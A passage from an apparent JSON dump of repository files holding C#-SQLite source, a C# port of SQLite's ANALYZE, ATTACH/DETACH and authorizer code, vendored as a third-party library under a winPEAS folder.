);\n      if ( SQLITE_OK != sqlite3ReadSchema( pParse ) )\n      {\n        return;\n      }\n\n      Debug.Assert( pName2 != null || pName1 == null );\n      if ( pName1 == null )\n      {\n        /* Form 1:  Analyze everything */\n        for ( i = 0 ; i < db.nDb ; i++ )\n        {\n          if ( i == 1 ) continue;  /* Do not analyze the TEMP database */\n          analyzeDatabase( pParse, i );\n        }\n      }\n      else if ( pName2.n == 0 )\n      {\n        /* Form 2:  Analyze the database or table named */\n        iDb = sqlite3FindDb( db, pName1 );\n        if ( iDb >= 0 )\n        {\n          analyzeDatabase( pParse, iDb );\n        }\n        else\n        {\n          z = sqlite3NameFromToken( db, pName1 );\n          if ( z != null )\n          {\n            pTab = sqlite3LocateTable( pParse, 0, z, null );\n            //sqlite3DbFree( db, ref z );\n            if ( pTab != null )\n            {\n              analyzeTable( pParse, pTab );\n            }\n          }\n        }\n      }\n      else\n      {\n        /* Form 3: Analyze the fully qualified table name */\n        iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref  pTableName );\n        if ( iDb >= 0 )\n        {\n          zDb = db.aDb[iDb].zName;\n          z = sqlite3NameFromToken( db, pTableName );\n          if ( z != null )\n          {\n            pTab = sqlite3LocateTable( pParse, 0, z, zDb );\n            //sqlite3DbFree( db, ref z );\n            if ( pTab != null )\n            {\n              analyzeTable( pParse, pTab );\n            }\n          }\n        }\n      }\n    }\n\n    /*\n    ** Used to pass information from the analyzer reader through to the\n    ** callback routine.\n    */\n    //typedef struct analysisInfo analysisInfo;\n    public struct analysisInfo\n    {\n      public sqlite3 db;\n      public string zDatabase;\n    };\n\n    /*\n    ** This callback is invoked once for each index when reading the\n    ** sqlite_stat1 table.\n    **\n    **     argv[0] = name of the index\n    **     argv[1] = results of analysis - on integer for each column\n    */\n    static int analysisLoader( object pData, sqlite3_int64 argc, object Oargv, object NotUsed )\n    {\n      string[] argv = (string[])Oargv;\n      analysisInfo pInfo = (analysisInfo)pData;\n      Index pIndex;\n      int i, c;\n      int v;\n      string z;\n\n      Debug.Assert( argc == 2 );\n      UNUSED_PARAMETER2( NotUsed, argc );\n      if ( argv == null || argv[0] == null || argv[1] == null )\n      {\n        return 0;\n      }\n      pIndex = sqlite3FindIndex( pInfo.db, argv[0], pInfo.zDatabase );\n      if ( pIndex == null )\n      {\n        return 0;\n      }\n      z = argv[1];\n      int zIndex = 0;\n      for ( i = 0 ; z != null && i <= pIndex.nColumn ; i++ )\n      {\n        v = 0;\n        while ( zIndex < z.Length && ( c = z[zIndex] ) >= '0' && c <= '9' )\n        {\n          v = v * 10 + c - '0';\n          zIndex++;\n        }\n        pIndex.aiRowEst[i] = v;\n        if ( zIndex < z.Length && z[zIndex] == ' ' ) zIndex++;\n      }\n      return 0;\n    }\n\n    /*\n    ** Load the content of the sqlite_stat1 table into the index hash tables.\n    */\n    static int sqlite3AnalysisLoad( sqlite3 db, int iDb )\n    {\n      analysisInfo sInfo;\n      HashElem i;\n      string zSql;\n      int rc;\n\n      Debug.Assert( iDb >= 0 && iDb < db.nDb );\n      Debug.Assert( db.aDb[iDb].pBt != null );\n      Debug.Assert( sqlite3BtreeHoldsMutex( db.aDb[iDb].pBt ) );\n      /* Clear any prior statistics */\n      //for(i=sqliteHashFirst(&db.aDb[iDb].pSchema.idxHash);i;i=sqliteHashNext(i)){\n      for ( i = db.aDb[iDb].pSchema.idxHash.first ; i != null ; i = i.next )\n      {\n        Index pIdx = (Index)i.data;// sqliteHashData( i );\n        sqlite3DefaultRowEst( pIdx );\n      }\n\n      /* Check to make sure the sqlite_stat1 table exists */\n      sInfo.db = db;\n      sInfo.zDatabase = db.aDb[iDb].zName;\n      if ( sqlite3FindTable( db, \"sqlite_stat1\", sInfo.zDatabase ) == null )\n      {\n        return SQLITE_ERROR;\n      }\n\n\n      /* Load new statistics out of the sqlite_stat1 table */\n      zSql = sqlite3MPrintf( db, \"SELECT idx, stat FROM %Q.sqlite_stat1\",\n      sInfo.zDatabase );\n      if ( zSql == null )\n      {\n        rc = SQLITE_NOMEM;\n      }\n      else\n      {\n        sqlite3SafetyOff( db );\n        rc = sqlite3_exec( db, zSql, (dxCallback)analysisLoader, sInfo, 0 );\n        sqlite3SafetyOn( db );\n        //sqlite3DbFree( db, ref zSql );\n//        if ( rc == SQLITE_NOMEM ) db.mallocFailed = 1;\n      }\n      return rc;\n    }\n\n\n#endif // * SQLITE_OMIT_ANALYZE */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/attach_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing u8 = System.Byte;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_value = CSSQLite.Mem;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2003 April 6\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains code used to implement the ATTACH and DETACH commands.\n    **\n    ** $Id: attach.c,v 1.93 2009/05/31 21:21:41 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n#if !SQLITE_OMIT_ATTACH\n    /*\n** Resolve an expression that was part of an ATTACH or DETACH statement. This\n** is slightly different from resolving a normal SQL expression, because simple\n** identifiers are treated as strings, not possible column names or aliases.\n**\n** i.e. if the parser sees:\n**\n**     ATTACH DATABASE abc AS def\n**\n** it treats the two expressions as literal strings 'abc' and 'def' instead of\n** looking for columns of the same name.\n**\n** This only applies to the root node of pExpr, so the statement:\n**\n**     ATTACH DATABASE abc||def AS 'db2'\n**\n** will fail because neither abc or def can be resolved.\n*/\n    static int resolveAttachExpr( NameContext pName, Expr pExpr )\n    {\n      int rc = SQLITE_OK;\n      if ( pExpr != null )\n      {\n        if ( pExpr.op != TK_ID )\n        {\n          rc = sqlite3ResolveExprNames( pName, ref pExpr );\n          if ( rc == SQLITE_OK && sqlite3ExprIsConstant( pExpr ) == 0 )\n          {\n            sqlite3ErrorMsg( pName.pParse, \"invalid name: \\\"%s\\\"\", pExpr.u.zToken );\n            return SQLITE_ERROR;\n          }\n        }\n        else\n        {\n          pExpr.op = TK_STRING;\n        }\n      }\n      return rc;\n    }\n\n    /*\n    ** An SQL user-function registered to do the work of an ATTACH statement. The\n    ** three arguments to the function come directly from an attach statement:\n    **\n    **     ATTACH DATABASE x AS y KEY z\n    **\n    **     SELECT sqlite_attach(x, y, z)\n    **\n    ** If the optional \"KEY z\" syntax is omitted, an SQL NULL is passed as the\n    ** third argument.\n    */\n    static void attachFunc(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] argv\n    )\n    {\n      int i;\n      int rc = 0;\n      sqlite3 db = sqlite3_context_db_handle( context );\n      string zName;\n      string zFile;\n      Db aNew = null;\n      string zErrDyn = \"\";\n\n      UNUSED_PARAMETER( NotUsed );\n\n      zFile = argv[0].z != null && ( argv[0].z.Length > 0 ) ? sqlite3_value_text( argv[0] ) : \"\";\n      zName = argv[1].z != null && ( argv[1].z.Length > 0 ) ? sqlite3_value_text( argv[1] ) : \"\";\n      //if( zFile==null ) zFile = \"\";\n      //if ( zName == null ) zName = \"\";\n\n\n      /* Check for the following errors:\n      **\n      **     * Too many attached databases,\n      **     * Transaction currently open\n      **     * Specified database name already being used.\n      */\n      if ( db.nDb >= db.aLimit[SQLITE_LIMIT_ATTACHED] + 2 )\n      {\n        zErrDyn = sqlite3MPrintf( db, \"too many attached databases - max %d\",\n        db.aLimit[SQLITE_LIMIT_ATTACHED]\n        );\n        goto attach_error;\n      }\n      if ( 0 == db.autoCommit )\n      {\n        zErrDyn = sqlite3MPrintf( db, \"cannot ATTACH database within transaction\" );\n        goto attach_error;\n      }\n      for ( i = 0 ; i < db.nDb ; i++ )\n      {\n        string z = db.aDb[i].zName;\n        Debug.Assert( z != null && zName != null );\n        if ( sqlite3StrICmp( z, zName ) == 0 )\n        {\n          zErrDyn = sqlite3MPrintf( db, \"database %s is already in use\", zName );\n          goto attach_error;\n        }\n      }\n\n      /* Allocate the new entry in the db.aDb[] array and initialise the schema\n      ** hash tables.\n      */\n      /* Allocate the new entry in the db.aDb[] array and initialise the schema\n      ** hash tables.\n      */\n      //if( db.aDb==db.aDbStatic ){\n      //  aNew = sqlite3DbMallocRaw(db, sizeof(db.aDb[0])*3 );\n      //  if( aNew==0 ) return;\n      //  memcpy(aNew, db.aDb, sizeof(db.aDb[0])*2);\n      //}else {\n      if ( db.aDb.Length <= db.nDb ) Array.Resize( ref db.aDb, db.nDb + 1 );//aNew = sqlite3DbRealloc(db, db.aDb, sizeof(db.aDb[0])*(db.nDb+1) );\n      if ( db.aDb == null ) return;   // if( aNew==0 ) return;\n      //}\n      db.aDb[db.nDb] = new Db();//db.aDb = aNew;\n      aNew = db.aDb[db.nDb];//memset(aNew, 0, sizeof(*aNew));\n      //  memset(aNew, 0, sizeof(*aNew));\n\n      /* Open the database file. If the btree is successfully opened, use\n      ** it to obtain the database schema. At this point the schema may\n      ** or may not be initialised.\n      */\n      rc = sqlite3BtreeFactory( db, zFile, false, SQLITE_DEFAULT_CACHE_SIZE,\n      db.openFlags | SQLITE_OPEN_MAIN_DB,\n      ref aNew.pBt );\n      db.nDb++;\n      if ( rc == SQLITE_CONSTRAINT )\n      {\n        rc = SQLITE_ERROR;\n        zErrDyn = sqlite3MPrintf( db, \"database is already attached\" );\n      }\n      else if ( rc == SQLITE_OK )\n      {\n        Pager pPager;\n        aNew.pSchema = sqlite3SchemaGet( db, aNew.pBt );\n        if ( aNew.pSchema == null )\n        {\n          rc = SQLITE_NOMEM;\n        }\n        else if ( aNew.pSchema.file_format != 0 && aNew.pSchema.enc != ENC( db ) )\n        {\n          zErrDyn = sqlite3MPrintf( db,\n          \"attached databases must use the same text encoding as main database\" );\n          rc = SQLITE_ERROR;\n        }\n        pPager = sqlite3BtreePager( aNew.pBt );\n        sqlite3PagerLockingMode( pPager, db.dfltLockMode );\n        sqlite3PagerJournalMode( pPager, db.dfltJournalMode );\n      }\n      aNew.zName = zName;// sqlite3DbStrDup( db, zName );\n      aNew.safety_level = 3;\n\n#if SQLITE_HAS_CODEC\n{\nextern int sqlite3CodecAttach(sqlite3*, int, const void*, int);\nextern void sqlite3CodecGetKey(sqlite3*, int, void**, int*);\nint nKey;\nchar *zKey;\nint t = sqlite3_value_type(argv[2]);\nswitch( t ){\ncase SQLITE_INTEGER:\ncase SQLITE_FLOAT:\nzErrDyn = sqlite3DbStrDup(db, \"Invalid key value\");\nrc = SQLITE_ERROR;\nbreak;\n\ncase SQLITE_TEXT:\ncase SQLITE_BLOB:\nnKey = sqlite3_value_bytes(argv[2]);\nzKey = (char *)sqlite3_value_blob(argv[2]);\nsqlite3CodecAttach(db, db.nDb-1, zKey, nKey);\nbreak;\n\ncase SQLITE_NULL:\n/* No key specified.  Use the key from the main database */\nsqlite3CodecGetKey(db, 0, (void**)&zKey, nKey);\nsqlite3CodecAttach(db, db.nDb-1, zKey, nKey);\nbreak;\n}\n}\n#endif\n\n      /* If the file was opened successfully, read the schema for the new database.\n** If this fails, or if opening the file failed, then close the file and\n** remove the entry from the db.aDb[] array. i.e. put everything back the way\n** we found it.\n*/\n      if ( rc == SQLITE_OK )\n      {\n        sqlite3SafetyOn( db );\n        sqlite3BtreeEnterAll( db );\n        rc = sqlite3Init( db, ref zErrDyn );\n        sqlite3BtreeLeaveAll( db );\n        sqlite3SafetyOff( db );\n      }\n      if ( rc != 0 )\n      {\n        int iDb = db.nDb - 1;\n        Debug.Assert( iDb >= 2 );\n        if ( db.aDb[iDb].pBt != null )\n        {\n          sqlite3BtreeClose( ref db.aDb[iDb].pBt );\n          db.aDb[iDb].pBt = null;\n          db.aDb[iDb].pSchema = null;\n        }\n        sqlite3ResetInternalSchema( db, 0 );\n        db.nDb = iDb;\n        if ( rc == SQLITE_NOMEM || rc == SQLITE_IOERR_NOMEM )\n        {\n  ////        db.mallocFailed = 1;\n          //sqlite3DbFree( db, zErrDyn );\n          zErrDyn = sqlite3MPrintf( db, \"out of memory\" );\n        }\n        else if ( zErrDyn == \"\" )\n        {\n          zErrDyn = sqlite3MPrintf( db, \"unable to open database: %s\", zFile );\n        }\n        goto attach_error;\n      }\n\n      return;\n\nattach_error:\n      /* Return an error if we get here */\n      if ( zErrDyn != \"\" )\n      {\n        sqlite3_result_error( context, zErrDyn, -1 );\n        //sqlite3DbFree( db, ref zErrDyn );\n      }\n      if ( rc != 0 ) sqlite3_result_error_code( context, rc );\n    }\n\n    /*\n    ** An SQL user-function registered to do the work of an DETACH statement. The\n    ** three arguments to the function come directly from a detach statement:\n    **\n    **     DETACH DATABASE x\n    **\n    **     SELECT sqlite_detach(x)\n    */\n    static void detachFunc(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] argv\n    )\n    {\n      string zName = zName = argv[0].z != null && ( argv[0].z.Length > 0 ) ? sqlite3_value_text( argv[0] ) : \"\";//(sqlite3_value_text(argv[0]);\n      sqlite3 db = sqlite3_context_db_handle( context );\n      int i;\n      Db pDb = null;\n      string zErr = \"\";\n\n      UNUSED_PARAMETER( NotUsed );\n\n      if ( zName == null ) zName = \"\";\n      for ( i = 0 ; i < db.nDb ; i++ )\n      {\n        pDb = db.aDb[i];\n        if ( pDb.pBt == null ) continue;\n        if ( sqlite3StrICmp( pDb.zName, zName ) == 0 ) break;\n      }\n\n      if ( i >= db.nDb )\n      {\n        sqlite3_snprintf( 200, ref zErr, \"no such database: %s\", zName );\n        goto detach_error;\n      }\n      if ( i < 2 )\n      {\n        sqlite3_snprintf( 200, ref zErr, \"cannot detach database %s\", zName );\n        goto detach_error;\n      }\n      if ( 0 == db.autoCommit )\n      {\n        sqlite3_snprintf( 200, ref zErr,\n        \"cannot DETACH database within transaction\" );\n        goto detach_error;\n      }\n      if ( sqlite3BtreeIsInReadTrans( pDb.pBt ) || sqlite3BtreeIsInBackup( pDb.pBt ) )\n      {\n        sqlite3_snprintf( 200, ref zErr, \"database %s is locked\", zName );\n        goto detach_error;\n      }\n\n      sqlite3BtreeClose( ref pDb.pBt );\n      pDb.pBt = null;\n      pDb.pSchema = null;\n      sqlite3ResetInternalSchema( db, 0 );\n      return;\n\ndetach_error:\n      sqlite3_result_error( context, zErr, -1 );\n    }\n\n    /*\n    ** This procedure generates VDBE code for a single invocation of either the\n    ** sqlite_detach() or sqlite_attach() SQL user functions.\n    */\n    static void codeAttach(\n    Parse pParse,       /* The parser context */\n    int type,           /* Either SQLITE_ATTACH or SQLITE_DETACH */\n    FuncDef pFunc,      /* FuncDef wrapper for detachFunc() or attachFunc() */\n    Expr pAuthArg,      /* Expression to pass to authorization callback */\n    Expr pFilename,     /* Name of database file */\n    Expr pDbname,       /* Name of the database to use internally */\n    Expr pKey           /* Database key for encryption extension */\n    )\n    {\n      int rc;\n      NameContext sName;\n      Vdbe v;\n      sqlite3 db = pParse.db;\n      int regArgs;\n\n      sName = new NameContext();// memset( &sName, 0, sizeof(NameContext));\n      sName.pParse = pParse;\n\n      if (\n      SQLITE_OK != ( rc = resolveAttachExpr( sName, pFilename ) ) ||\n      SQLITE_OK != ( rc = resolveAttachExpr( sName, pDbname ) ) ||\n      SQLITE_OK != ( rc = resolveAttachExpr( sName, pKey ) )\n      )\n      {\n        pParse.nErr++;\n        goto attach_end;\n      }\n\n#if !SQLITE_OMIT_AUTHORIZATION\nif( pAuthArg ){\nchar *zAuthArg = pAuthArg->u.zToken;\nif( NEVER(zAuthArg==0) ){\ngoto attach_end;\n}\nrc = sqlite3AuthCheck(pParse, type, zAuthArg, 0, 0);\nif(rc!=SQLITE_OK ){\ngoto attach_end;\n}\n}\n#endif //* SQLITE_OMIT_AUTHORIZATION */\n\n      v = sqlite3GetVdbe( pParse );\n      regArgs = sqlite3GetTempRange( pParse, 4 );\n      sqlite3ExprCode( pParse, pFilename, regArgs );\n      sqlite3ExprCode( pParse, pDbname, regArgs + 1 );\n      sqlite3ExprCode( pParse, pKey, regArgs + 2 );\n\n      Debug.Assert( v != null /*|| db.mallocFailed != 0 */ );\n      if ( v != null )\n      {\n        sqlite3VdbeAddOp3( v, OP_Function, 0, regArgs + 3 - pFunc.nArg, regArgs + 3 );\n        Debug.Assert( pFunc.nArg == -1 || ( pFunc.nArg & 0xff ) == pFunc.nArg );\n        sqlite3VdbeChangeP5( v, (u8)( pFunc.nArg ) );\n        sqlite3VdbeChangeP4( v, -1, pFunc, P4_FUNCDEF );\n\n        /* Code an OP_Expire. For an ATTACH statement, set P1 to true (expire this\n        ** statement only). For DETACH, set it to false (expire all existing\n        ** statements).\n        */\n        sqlite3VdbeAddOp1( v, OP_Expire, ( type == SQLITE_ATTACH ) ? 1 : 0 );\n      }\n\nattach_end:\n      sqlite3ExprDelete( db, ref pFilename );\n      sqlite3ExprDelete( db, ref pDbname );\n      sqlite3ExprDelete( db, ref pKey );\n    }\n\n    /*\n    ** Called by the parser to compile a DETACH statement.\n    **\n    **     DETACH pDbname\n    */\n    static void sqlite3Detach( Parse pParse, Expr pDbname )\n    {\n      FuncDef detach_func = new FuncDef(\n      1,                   /* nArg */\n      SQLITE_UTF8,         /* iPrefEnc */\n      0,                   /* flags */\n      null,                /* pUserData */\n      null,                /* pNext */\n      detachFunc,          /* xFunc */\n      null,                /* xStep */\n      null,                /* xFinalize */\n      \"sqlite_detach\",     /* zName */\n      null                 /* pHash */\n      );\n      codeAttach( pParse, SQLITE_DETACH, detach_func, pDbname, null, null, pDbname );\n    }\n\n    /*\n    ** Called by the parser to compile an ATTACH statement.\n    **\n    **     ATTACH p AS pDbname KEY pKey\n    */\n    static void sqlite3Attach( Parse pParse, Expr p, Expr pDbname, Expr pKey )\n    {\n      FuncDef attach_func = new FuncDef(\n      3,                /* nArg */\n      SQLITE_UTF8,      /* iPrefEnc */\n      0,                /* flags */\n      null,             /* pUserData */\n      null,             /* pNext */\n      attachFunc,       /* xFunc */\n      null,             /* xStep */\n      null,             /* xFinalize */\n      \"sqlite_attach\",  /* zName */\n      null              /* pHash */\n      );\n      codeAttach( pParse, SQLITE_ATTACH, attach_func, p, p, pDbname, pKey );\n    }\n#endif // * SQLITE_OMIT_ATTACH */\n\n    /*\n** Initialize a DbFixer structure.  This routine must be called prior\n** to passing the structure to one of the sqliteFixAAAA() routines below.\n**\n** The return value indicates whether or not fixation is required.  TRUE\n** means we do need to fix the database references, FALSE means we do not.\n*/\n    static int sqlite3FixInit(\n    DbFixer pFix,       /* The fixer to be initialized */\n    Parse pParse,       /* Error messages will be written here */\n    int iDb,            /* This is the database that must be used */\n    string zType,       /* \"view\", \"trigger\", or \"index\" */\n    Token pName         /* Name of the view, trigger, or index */\n    )\n    {\n      sqlite3 db;\n\n      if ( NEVER( iDb < 0 ) || iDb == 1 ) return 0;\n      db = pParse.db;\n      Debug.Assert( db.nDb > iDb );\n      pFix.pParse = pParse;\n      pFix.zDb = db.aDb[iDb].zName;\n      pFix.zType = zType;\n      pFix.pName = pName;\n      return 1;\n    }\n\n    /*\n    ** The following set of routines walk through the parse tree and assign\n    ** a specific database to all table references where the database name\n    ** was left unspecified in the original SQL statement.  The pFix structure\n    ** must have been initialized by a prior call to sqlite3FixInit().\n    **\n    ** These routines are used to make sure that an index, trigger, or\n    ** view in one database does not refer to objects in a different database.\n    ** (Exception: indices, triggers, and views in the TEMP database are\n    ** allowed to refer to anything.)  If a reference is explicitly made\n    ** to an object in a different database, an error message is added to\n    ** pParse.zErrMsg and these routines return non-zero.  If everything\n    ** checks out, these routines return 0.\n    */\n    static int sqlite3FixSrcList(\n    DbFixer pFix,       /* Context of the fixation */\n    SrcList pList       /* The Source list to check and modify */\n    )\n    {\n      int i;\n      string zDb;\n      SrcList_item pItem;\n\n      if ( NEVER( pList == null ) ) return 0;\n      zDb = pFix.zDb;\n      for ( i = 0 ; i < pList.nSrc ; i++ )\n      {//, pItem++){\n        pItem = pList.a[i];\n        if ( pItem.zDatabase == null )\n        {\n          pItem.zDatabase = zDb;// sqlite3DbStrDup( pFix.pParse.db, zDb );\n        }\n        else if ( sqlite3StrICmp( pItem.zDatabase, zDb ) != 0 )\n        {\n          sqlite3ErrorMsg( pFix.pParse,\n          \"%s %T cannot reference objects in database %s\",\n          pFix.zType, pFix.pName, pItem.zDatabase );\n          return 1;\n        }\n#if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_TRIGGER\n        if ( sqlite3FixSelect( pFix, pItem.pSelect ) != 0 ) return 1;\n        if ( sqlite3FixExpr( pFix, pItem.pOn ) != 0 ) return 1;\n#endif\n      }\n      return 0;\n    }\n#if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_TRIGGER\n    static int sqlite3FixSelect(\n    DbFixer pFix,       /* Context of the fixation */\n    Select pSelect      /* The SELECT statement to be fixed to one database */\n    )\n    {\n      while ( pSelect != null )\n      {\n        if ( sqlite3FixExprList( pFix, pSelect.pEList ) != 0 )\n        {\n          return 1;\n        }\n        if ( sqlite3FixSrcList( pFix, pSelect.pSrc ) != 0 )\n        {\n          return 1;\n        }\n        if ( sqlite3FixExpr( pFix, pSelect.pWhere ) != 0 )\n        {\n          return 1;\n        }\n        if ( sqlite3FixExpr( pFix, pSelect.pHaving ) != 0 )\n        {\n          return 1;\n        }\n        pSelect = pSelect.pPrior;\n      }\n      return 0;\n    }\n    static int sqlite3FixExpr(\n    DbFixer pFix,     /* Context of the fixation */\n    Expr pExpr        /* The expression to be fixed to one database */\n    )\n    {\n      while ( pExpr != null )\n      {\n        if ( ExprHasAnyProperty( pExpr, EP_TokenOnly ) ) break;\n        if ( ExprHasProperty( pExpr, EP_xIsSelect ) )\n        {\n          if ( sqlite3FixSelect( pFix, pExpr.x.pSelect ) != 0 ) return 1;\n        }\n        else\n        {\n          if ( sqlite3FixExprList( pFix, pExpr.x.pList ) != 0 ) return 1;\n        }\n        if ( sqlite3FixExpr( pFix, pExpr.pRight ) != 0 )\n        {\n          return 1;\n        }\n        pExpr = pExpr.pLeft;\n      }\n      return 0;\n    }\n    static int sqlite3FixExprList(\n    DbFixer pFix,     /* Context of the fixation */\n    ExprList pList    /* The expression to be fixed to one database */\n    )\n    {\n      int i;\n      ExprList_item pItem;\n      if ( pList == null ) return 0;\n      for ( i = 0 ; i < pList.nExpr ; i++ )//, pItem++ )\n      {\n        pItem = pList.a[i];\n        if ( sqlite3FixExpr( pFix, pItem.pExpr ) != 0 )\n        {\n          return 1;\n        }\n      }\n      return 0;\n    }\n#endif\n\n#if !SQLITE_OMIT_TRIGGER\n    static int sqlite3FixTriggerStep(\n    DbFixer pFix,     /* Context of the fixation */\n    TriggerStep pStep /* The trigger step be fixed to one database */\n    )\n    {\n      while ( pStep != null )\n      {\n        if ( sqlite3FixSelect( pFix, pStep.pSelect ) != 0 )\n        {\n          return 1;\n        }\n        if ( sqlite3FixExpr( pFix, pStep.pWhere ) != 0 )\n        {\n          return 1;\n        }\n        if ( sqlite3FixExprList( pFix, pStep.pExprList ) != 0 )\n        {\n          return 1;\n        }\n        pStep = pStep.pNext;\n      }\n      return 0;\n    }\n#endif\n\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/auth_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n    public partial class CSSQLite\n  {\n    /*\n    ** 2003 January 11\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains code used to implement the sqlite3_set_authorizer()\n    ** API.  This facility is an optional feature of the library.  Embedded\n    ** systems that do not need this facility may omit it by recompiling\n    ** the library with -DSQLITE_OMIT_AUTHORIZATION=1\n    **\n    ** $Id: auth.c,v 1.32 2009/07/02 18:40:35 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** All of the code in this file may be omitted by defining a single\n    ** macro.\n    */\n#if !SQLITE_OMIT_AUTHORIZATION\n\n/*\n** Set or clear the access authorization function.\n**\n** The access authorization function is be called during the compilation\n** phase to verify that the user has read and/or write access permission on\n** various fields of the database.  The first argument to the auth function\n** is a copy of the 3rd argument to this routine.  The second argument\n** to the auth function is one of these constants:\n**\n**       SQLITE_CREATE_INDEX\n**       SQLITE_CREATE_TABLE\n**       SQLITE_CREATE_TEMP_INDEX\n**       SQLITE_CREATE_TEMP_TABLE\n**       SQLITE_CREATE_TEMP_TRIGGER\n**       SQLITE_CREATE_TEMP_VIEW\n**       SQLITE_CREATE_TRIGGER\n**       SQLITE_CREATE_VIEW\n**       SQLITE_DELETE\n**       SQLITE_DROP_INDEX\n**       SQLITE_DROP_TABLE\n**       SQLITE_DROP_TEMP_INDEX\n**       SQLITE_DROP_TEMP_TABLE\n**       SQLITE_DROP_TEMP_TRIGGER\n**       SQLITE_DROP_TEMP_VIEW\n**       SQLITE_DROP_TRIGGER\n**       SQLITE_DROP_VIEW\n**       SQLITE_INSERT\n**       SQLITE_PRAGMA\n**       SQLITE_READ\n**       SQLITE_SELECT\n**       SQLITE_TRANSACTION\n**       SQLITE_UPDATE\n**\n** The third and fourth arguments to the auth function are the name of\n** the table and the column that are being accessed.  The auth function\n** should return either SQLITE_OK, SQLITE_DENY, or SQLITE_IGNORE.  If\n** SQLITE_OK is returned, it means that access is allowed.  SQLITE_DENY\n** means that the SQL statement will never-run - the sqlite3_exec() call\n** will return with an error.  SQLITE_IGNORE means that the SQL statement\n** should run but attempts to read the specified column will return NULL\n** and attempts to write the column will be ignored.\n**\n** Setting the auth function to NULL disables this hook.  The default\n** setting of the auth function is NULL.\n*/\nint sqlite3_set_authorizer(\nsqlite3 *db,\nint (*xAuth)(void*,int,const char*,const char*,const char*,const char*),\nvoid *pArg\n){\nsqlite3_mutex_enter(db->mutex);\ndb->xAuth = xAuth;\ndb->pAuthArg = pArg;\nsqlite3ExpirePreparedStatements(db);\nsqlite3_mutex_leave(db->mutex);\nreturn SQLITE_OK;\n}\n\n/*\n** Write an error message into pParse->zErrMsg that explains that the\n** user-supplied authorization function returned an illegal value.\n*/\nstatic void sqliteAuthBadReturnCode(Parse *pParse){\nsqlite3ErrorMsg(pParse, \"authorizer malfunction\");\npParse->rc = SQLITE_ERROR;\n}\n\n/*\n** The pExpr should be a TK_COLUMN expression.  The table referred to\n** is in pTabList or else it is the NEW or OLD table of a trigger.\n** Check to see if it is OK to read this particular column.\n**\n** If the auth function returns SQLITE_IGNORE, change the TK_COLUMN\n** instruction into a TK_NULL.  If the auth function returns SQLITE_DENY,\n** then generate an error.\n*/\nvoid sqlite3AuthRead(\nParse *pParse,        /* The parser context */\nExpr *pExpr,          /* The expression to check authorization on */\nSchema *pSchema,      /* The schema of the expression */\nSrcList *pTabList     /* All table that pExpr might refer to */\n){\nsqlite3 *db = pParse->db;\nint rc;\nTable *pTab = 0;      /* The table being read */\nconst char *zCol;     /* Name of the column of the table */\nint iSrc;             /* Index in pTabList->a[] of table being read */\nconst char *zDBase;   /* Name of database being accessed */\nint iDb;              /* The index of the database the expression refers to */\n\nif( db->xAuth==0 ) return;\nassert( pExpr->op==TK_COLUMN );\niDb = sqlite3SchemaToIndex(pParse->db, pSchema);\nif( iDb<0 ){\n/* An attempt to read a column out of a subquery or other\n** temporary table. */\nreturn;\n}\nif( pTabList ){\n    for(iSrc=0; iSrc<pTabList->nSrc; iSrc++){\n      if( pExpr->iTable==pTabList->a[iSrc].iCursor ){\n        pTab = pTabList->a[iSrc].pTab;\n\tbreak;\n      }\n    }\n  }\n  if( !pTab ){\n    TriggerStack *pStack = pParse->trigStack;\nif( ALWAYS(pStack) ){\n/* This must be an attempt to read the NEW or OLD pseudo-tables\n** of a trigger. */\nassert( pExpr->iTable==pStack->newIdx || pExpr->iTable==pStack->oldIdx );\npTab = pStack->pTab;\n}\n}\nif( NEVER(pTab==0) ) return;\nif( pExpr->iColumn>=0 ){\nassert( pExpr->iColumn<pTab->nCol );\nzCol = pTab->aCol[pExpr->iColumn].zName;\n}else if( pTab->iPKey>=0 ){\nassert( pTab->iPKey<pTab->nCol );\nzCol = pTab->aCol[pTab->iPKey].zName;\n}else{\nzCol = \"ROWID\";\n}\nassert( iDb>=0 && iDb<db->nDb );\nzDBase = db->aDb[iDb].zName;\nrc = db->xAuth(db->pAuthArg, SQLITE_READ, pTab->zName, zCol, zDBase,\npParse->zAuthContext);\nif( rc==SQLITE_IGNORE ){\npExpr->op = TK_NULL;\n}else if( rc==SQLITE_DENY ){\nif( db->nDb>2 || iDb!=0 ){\nsqlite3ErrorMsg(pParse, \"access to %s.%s.%s is prohibited\",\nzDBase, pTab->zName, zCol);\n}else{\nsqlite3ErrorMsg(pParse, \"access to %s.%s is prohibited\",pTab->zName,zCol);\n}\npParse->rc = SQLITE_AUTH;\n}else if( rc!=SQLITE_OK ){\nsqliteAuthBadReturnCode(pParse);\n}\n}\n\n/*\n** Do an authorization check using the code and arguments given.  Return\n** either SQLITE_OK (zero) or SQLITE_IGNORE or SQLITE_DENY.  If SQLITE_DENY\n** is returned, then the error count and error message in pParse are\n** modified appropriately.\n*/\nint sqlite3AuthCheck(\nParse *pParse,\nint code,\nconst char 